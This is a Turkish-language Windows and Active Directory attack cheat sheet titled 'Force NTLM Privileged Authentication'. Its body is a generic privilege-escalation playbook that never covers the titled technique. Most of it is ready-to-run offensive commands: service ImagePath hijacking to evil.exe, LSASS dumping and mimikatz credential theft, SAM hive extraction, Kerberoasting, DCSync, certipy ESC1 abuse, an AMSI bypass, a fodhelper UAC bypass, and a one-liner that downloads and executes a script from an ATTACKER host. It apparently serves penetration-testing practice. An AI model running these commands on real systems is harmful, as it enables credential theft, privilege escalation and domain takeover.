Force NTLM Privileged Authentication

windows ad

Force NTLM Privileged Authentication Windows privesc, credential veya yanal hareket notudur. Token/servis/DLL/AD yüzeyini haritalayıp SYSTEM veya domain etkisi doğrula. Domain’de BloodHound yolu + Kerberos/ACL/Cert zinciri birlikte okunur.

Metodoloji

1. whoami /all, priv, UAC bütünlüğü ve AV durumunu kilitle.

2. Force NTLM Privileged Authentication için servis/DLL/token/AD hipotezini enum ile destekle.

3. Yükseltme veya lateral PoC’yi çalıştırıp etkiyi kanıtla.

4. LSASS/SAM/DPAPI veya domain loot paketle.

Durum

Force NTLM Privileged Authentication Windows saldırı notudur. Önce token, bütünlük seviyesi, AV ve yerel grup haritasını çıkar.

whoami /all

systeminfo

whoami /priv

net user; net localgroup administrators

hostname & ipconfig /all

Get-LocalGroupMember Administrators -ErrorAction SilentlyContinue

Get-MpComputerStatus | Select AMServiceEnabled,RealTimeProtectionEnabled

netstat -ano

Get-Service | ? Status -eq Running | Select Name,DisplayName

Servis / registry ACL

Yazılabilir ImagePath, service ACL veya registry AppendData klasik LPE’dir.

Get-CimInstance Win32_Service | Select Name,State,StartMode,StartName,PathName | Format-List

Get-Service | ? {$_.Status -eq 'Running'}

accesschk.exe /accepteula -uwcqv Everyone *

accesschk.exe /accepteula -uwcqv AuthenticatedUsers *

sc qc SERVICENAME

sc sdshow SERVICENAME

reg query HKLM\SYSTEM\CurrentControlSet\Services\SERVICENAME

reg add HKLM\SYSTEM\CurrentControlSet\Services\SERVICENAME /v ImagePath /t REG_EXPAND_SZ /d "C:\temp\evil.exe" /f

Credential dump

Yüksek yetki sonrası SAM/LSA/DPAPI ve oturum token’ları loot edilir.

reg save HKLM\SAM C:\temp\sam.save

reg save HKLM\SYSTEM C:\temp\sys.save

reg save HKLM\SECURITY C:\temp\sec.save

procdump.exe -accepteula -ma lsass.exe C:\temp\lsass.dmp

mimikatz # privilege::debug

mimikatz # sekurlsa::logonpasswords

mimikatz # lsadump::sam /system:sys.save /sam:sam.save

mimikatz # dpapi::cred /in:"%APPDATA%\Microsoft\Credentials\*"

Get-ChildItem -Force $env:USERPROFILE -Recurse -Include *.kdbx,*.rdg,*.xml,*.config -ErrorAction SilentlyContinue | Select -First 40

impacket-secretsdump -sam sam.save -system sys.save LOCAL

Active Directory saldırı yüzeyi

Domain enum → abuse path (Kerberos/ACL/Cert/Delegation) → DA veya hedef kaynak.

nxc ldap DC -u user -p pass --users --groups --computers

impacket-GetUserSPNs domain/user:pass -dc-ip DC -request

impacket-GetNPUsers domain/ -usersfile users.txt -dc-ip DC -format hashcat

impacket-getST domain/user:pass -spn cifs/TARGET -impersonate Administrator -dc-ip DC

impacket-secretsdump domain/user:pass@DC -just-dc

certipy find -u user@domain -p pass -dc-ip DC -vulnerable -stdout

certipy req -u user@domain -p pass -ca CA -template ESC1 -upn administrator@domain

bloodhound-python -d domain.local -u user -p pass -c All -ns DC

Import-Module .\PowerView.ps1

Get-DomainUser -SPN | Select samaccountname,serviceprincipalname

Get-DomainComputer | Select dnshostname

Find-LocalAdminAccess -Verbose

Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs | ? ActiveDirectoryRights -match 'Write|GenericAll'

UAC / bütünlük / execution

Medium→High UAC bypass ve AMSI/ETW kaçışı execution zincirinin parçasıdır.

whoami /groups | findstr Level

Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System

[Environment]::OSVersion.Version

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/a.ps1')

fodhelper.exe  # HKCU ms-settings\shell\open\command

eventvwr.exe

reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /d "C:\temp\evil.exe" /f

Otomatik enum

winPEASx64.exe quiet

accesschk.exe /accepteula -uwcqv users *

Import-Module .\PowerUp.ps1; Invoke-AllChecks

Get-ChildItem C:\ -Recurse -Include *.xml,*.config,*.ini -ErrorAction SilentlyContinue | Select-String -Pattern 'password|pwd|connectionstring' | Select -First 30

Yükseltme / erişim sonrası

dir C:\Users\Administrator\Desktop

dir C:\Users\*\Documents,C:\Users\*\Desktop -ErrorAction SilentlyContinue

Get-ChildItem -Force C:\ -Include *.kdbx,*.pfx,*.key -Recurse -ErrorAction SilentlyContinue | Select -First 30

procdump.exe -accepteula -ma lsass.exe C:\temp\lsass.dmp

reg save HKLM\SAM C:\temp\sam.save & reg save HKLM\SYSTEM C:\temp\sys.save

Checklist

[ ] whoami /priv ve gruplar alındı
[ ] Servis/DLL/registry/token yüzeyi tarandı
[ ] Privesc veya lateral PoC doğrulandı
[ ] Credential dump / loot paketlendi
[ ] Sonraki pivot not edildi

Notlar

Force NTLM Privileged Authentication sonuçları sürüm, yapılandırma ve koruma katmanına göre değişir. Komutları hedefe göre uyarla; başarılı zinciri adım adım kaydet.